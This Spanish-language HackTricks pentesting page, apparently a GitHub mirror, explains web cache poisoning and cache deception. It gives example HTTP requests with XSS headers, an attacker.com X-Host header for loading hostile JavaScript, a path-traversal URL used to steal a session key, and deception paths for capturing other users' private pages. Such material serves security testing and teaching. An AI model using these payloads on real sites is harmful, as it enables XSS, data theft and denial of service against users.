Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-29 16:10:54 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception/README.md

21 KiB
Raw Blame History

Envenenamiento de Caché y Engaño de Caché

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

La diferencia

¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?

  • En el envenenamiento de caché web, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
  • En el engaño de caché web, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.

Envenenamiento de Caché

El envenenamiento de caché tiene como objetivo manipular la caché del lado del cliente para forzar a los clientes a cargar recursos que son inesperados, parciales o están bajo el control de un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visitan la página durante el período de contaminación de la caché.

La ejecución de un ataque de envenenamiento de caché implica varios pasos:

  1. Identificación de Entradas sin Clave: Estos son parámetros que, aunque no son necesarios para que se almacene una solicitud en la caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
  2. Explotación de las Entradas sin Clave: Después de identificar las entradas sin clave, el siguiente paso implica descubrir cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
  3. Asegurar que la Respuesta Envenenada se Almacene en la Caché: El paso final es asegurar que la respuesta manipulada se almacene en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché esté envenenada recibirá la respuesta contaminada.

Descubrimiento: Verificar encabezados HTTP

Por lo general, cuando una respuesta ha sido almacenada en la caché, habrá un encabezado que lo indique, puedes verificar a qué encabezados debes prestar atención en este post: Encabezados de Caché HTTP.

Descubrimiento: Códigos de error de caché

Si piensas que la respuesta se está almacenando en una caché, podrías intentar enviar solicitudes con un encabezado incorrecto, lo cual debería ser respondido con un código de estado 400. Luego intenta acceder a la solicitud de forma normal y si la respuesta es un código de estado 400, sabrás que es vulnerable (e incluso podrías realizar un DoS).

Puedes encontrar más opciones en:

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Sin embargo, ten en cuenta que a veces estos tipos de códigos de estado no se almacenan en la caché, por lo que esta prueba podría no ser confiable.

Descubrimiento: Identificar y evaluar entradas sin clave

Podrías utilizar Param Miner para bruteforcear parámetros y encabezados que puedan estar cambiando la respuesta de la página. Por ejemplo, una página podría estar usando el encabezado X-Forwarded-For para indicar al cliente que cargue el script desde allí:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Provocar una respuesta dañina desde el servidor back-end

Con el parámetro/cabecera identificado, verifica cómo está siendo sanitizado y dónde se está reflejando o afectando la respuesta desde la cabecera. ¿Puedes abusar de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)

Obtener la respuesta en caché

Una vez que hayas identificado la página que puede ser abusada, qué parámetro/cabecera usar y cómo abusar de ella, necesitas obtener la página en caché. Dependiendo del recurso que estés intentando cachear, esto podría llevar algo de tiempo, es posible que necesites intentarlo durante varios segundos.
La cabecera X-Cache en la respuesta podría ser muy útil, ya que puede tener el valor miss cuando la solicitud no estaba en caché y el valor hit cuando está en caché.
La cabecera Cache-Control también es interesante para saber si un recurso está en caché y cuándo será la próxima vez que se almacene en caché nuevamente: Cache-Control: public, max-age=1800
Otra cabecera interesante es Vary. Esta cabecera se usa a menudo para indicar cabeceras adicionales que se tratan como parte de la clave de caché incluso si normalmente no tienen clave. Por lo tanto, si el usuario conoce el User-Agent de la víctima a la que apunta, puede envenenar la caché para los usuarios que utilizan ese User-Agent específico.
Otra cabecera relacionada con la caché es Age. Define el tiempo en segundos que el objeto ha estado en la caché del proxy.

Al cachear una solicitud, ten cuidado con las cabeceras que uses porque algunas de ellas podrían ser utilizadas inesperadamente como clave y la víctima necesitará usar esa misma cabecera. Siempre prueba un Envenenamiento de Caché con diferentes navegadores para verificar si está funcionando.

Ejemplos de Explotación

Ejemplo más sencillo

Una cabecera como X-Forwarded-For se está reflejando en la respuesta sin sanitizar.
Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean afectados por XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Nota que esto envenenará una solicitud a /en?region=uk y no a /en

Envenenamiento de caché para DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Usar el envenenamiento de caché web para explotar vulnerabilidades en el manejo de cookies

Las cookies también podrían reflejarse en la respuesta de una página. Si puedes abusar de esto para causar un XSS, por ejemplo, podrías ser capaz de explotar XSS en varios clientes que carguen la respuesta de caché maliciosa.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Envenenamiento de caché con traversal de ruta para robar clave de API

Este informe explica cómo fue posible robar una clave de API de OpenAI con una URL como https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 porque cualquier cosa que coincida con /share/* se almacenará en caché sin que Cloudflare normalice la URL, lo cual se hizo cuando la solicitud llegó al servidor web.

Uso de múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web

A veces necesitarás explotar varios inputs sin clave para poder abusar de una caché. Por ejemplo, puedes encontrar una redirección abierta si configuras X-Forwarded-Host a un dominio controlado por ti y X-Forwarded-Scheme a http. Si el servidor está redirigiendo todas las solicitudes HTTP a HTTPS y usando el encabezado X-Forwarded-Scheme como el nombre de dominio para la redirección. Puedes controlar hacia dónde apunta la página con la redirección.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Explotando con el encabezado Vary limitado

Si descubres que el encabezado X-Host se está utilizando como nombre de dominio para cargar un recurso JS pero el encabezado Vary en la respuesta indica User-Agent. Entonces, necesitas encontrar una forma de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena en caché la de la URL, cualquier persona que acceda a esa URL en realidad utilizará el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Ocultación de Parámetros

Por ejemplo, es posible separar parámetros en servidores ruby usando el carácter ; en lugar de &. Esto podría usarse para colocar valores de parámetros no clave dentro de los clave y abusar de ellos.

Laboratorio de Portswigger: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Explotando la Intoxicación de Caché HTTP abusando del Contrabando de Solicitudes HTTP

Aprende aquí cómo realizar ataques de Intoxicación de Caché abusando del Contrabando de Solicitudes HTTP.

Pruebas automatizadas para la Intoxicación de Caché Web

El Escáner de Vulnerabilidades de Caché Web se puede utilizar para probar automáticamente la intoxicación de caché web. Admite muchas técnicas diferentes y es altamente personalizable.

Uso de ejemplo: wcvs -u example.com


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Ejemplos Vulnerables

Servidor de Tráfico de Apache (CVE-2021-27577)

ATS reenviaba el fragmento dentro de la URL sin eliminarlo y generaba la clave de caché solo usando el host, la ruta y la consulta (ignorando el fragmento). Por lo tanto, la solicitud /#/../?r=javascript:alert(1) se enviaba al backend como /#/../?r=javascript:alert(1) y la clave de caché no contenía la carga útil en su interior, solo el host, la ruta y la consulta.

CP-DoS de GitHub

Enviar un valor incorrecto en el encabezado de tipo de contenido desencadenaba una respuesta en caché 405. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.

GitLab + GCP CP-DoS

GitLab utiliza buckets de GCP para almacenar contenido estático. Los Buckets de GCP admiten el encabezado x-http-method-override. Por lo tanto, era posible enviar el encabezado x-http-method-override: HEAD y envenenar la caché para devolver un cuerpo de respuesta vacío. También podía admitir el método PURGE.

Middleware de Rack (Ruby on Rails)

En las aplicaciones Ruby on Rails, se utiliza frecuentemente el middleware de Rack. El propósito del código de Rack es tomar el valor del encabezado x-forwarded-scheme y establecerlo como el esquema de la solicitud. Cuando se envía el encabezado x-forwarded-scheme: http, se produce una redirección 301 a la misma ubicación, lo que potencialmente puede causar una Denegación de Servicio (DoS) a ese recurso. Además, la aplicación podría reconocer el encabezado X-forwarded-host y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que representa un riesgo de seguridad.

403 y Buckets de Almacenamiento

Cloudflare anteriormente almacenaba en caché respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con encabezados de Autorización incorrectos resultaría en una respuesta 403 que se almacenaba en caché. Aunque Cloudflare ha dejado de almacenar en caché respuestas 403, este comportamiento aún podría estar presente en otros servicios de proxy.

Inyectando Parámetros Clave

Las cachés a menudo incluyen parámetros GET específicos en la clave de caché. Por ejemplo, Varnish de Fastly almacenaba el parámetro size en las solicitudes. Sin embargo, si se enviaba también una versión codificada en URL del parámetro (por ejemplo, siz%65) con un valor incorrecto, la clave de caché se construiría utilizando el parámetro size correcto. Sin embargo, el backend procesaría el valor en el parámetro codificado en URL. Codificar en URL el segundo parámetro size llevaba a su omisión por la caché pero su utilización por el backend. Asignar un valor de 0 a este parámetro resultaba en un error 400 Bad Request en caché.

Reglas de Agente de Usuario

Algunos desarrolladores bloquean solicitudes con agentes de usuario que coinciden con los de herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como la intoxicación de caché y DoS.

Campos de Encabezado Ilegales

El RFC7230 especifica los caracteres aceptables en los nombres de encabezado. Los encabezados que contienen caracteres fuera del rango tchar especificado idealmente deberían desencadenar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres no válidos y almacena en caché cualquier error 400, siempre que el encabezado cache-control no esté presente. Se identificó un patrón explotable donde el envío de un encabezado con un carácter no válido, como \, resultaría en un error 400 Bad Request en caché.

Encontrar nuevos encabezados

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Engaño de Caché

El objetivo del Engaño de Caché es hacer que los clientes carguen recursos que van a ser guardados por la caché con su información sensible.

En primer lugar, ten en cuenta que las extensiones como .css, .js, .png, etc., suelen estar configuradas para ser guardadas en la caché. Por lo tanto, si accedes a www.example.com/profile.php/nonexistent.js, es probable que la caché almacene la respuesta porque ve la extensión .js. Sin embargo, si la aplicación está reproduciendo con el contenido sensible del usuario almacenado en www.example.com/profile.php, puedes robar ese contenido de otros usuarios.

Otras cosas para probar:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Usar extensiones menos conocidas como .avif

Un ejemplo muy claro se puede encontrar en este informe: https://hackerone.com/reports/593712.
En el ejemplo, se explica que si cargas una página inexistente como http://www.example.com/home.php/non-existent.css, el contenido de http://www.example.com/home.php (con la información sensible del usuario) se devolverá y el servidor de caché guardará el resultado.
Luego, el atacante puede acceder a http://www.example.com/home.php/non-existent.css en su propio navegador y observar la información confidencial de los usuarios que accedieron antes.

Ten en cuenta que el proxy de caché debe estar configurado para cachear archivos basados en la extensión del archivo (.css) y no en el tipo de contenido. En el ejemplo http://www.example.com/home.php/non-existent.css tendrá un tipo de contenido text/html en lugar de un tipo mime text/css (que es el esperado para un archivo .css).

Aprende aquí cómo realizar ataques de Engaño de Caché abusando del Contrabando de Solicitudes HTTP.

Herramientas Automáticas

  • toxicache: Escáner en Golang para encontrar vulnerabilidades de envenenamiento de caché web en una lista de URLs y probar múltiples técnicas de inyección.

Referencias


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: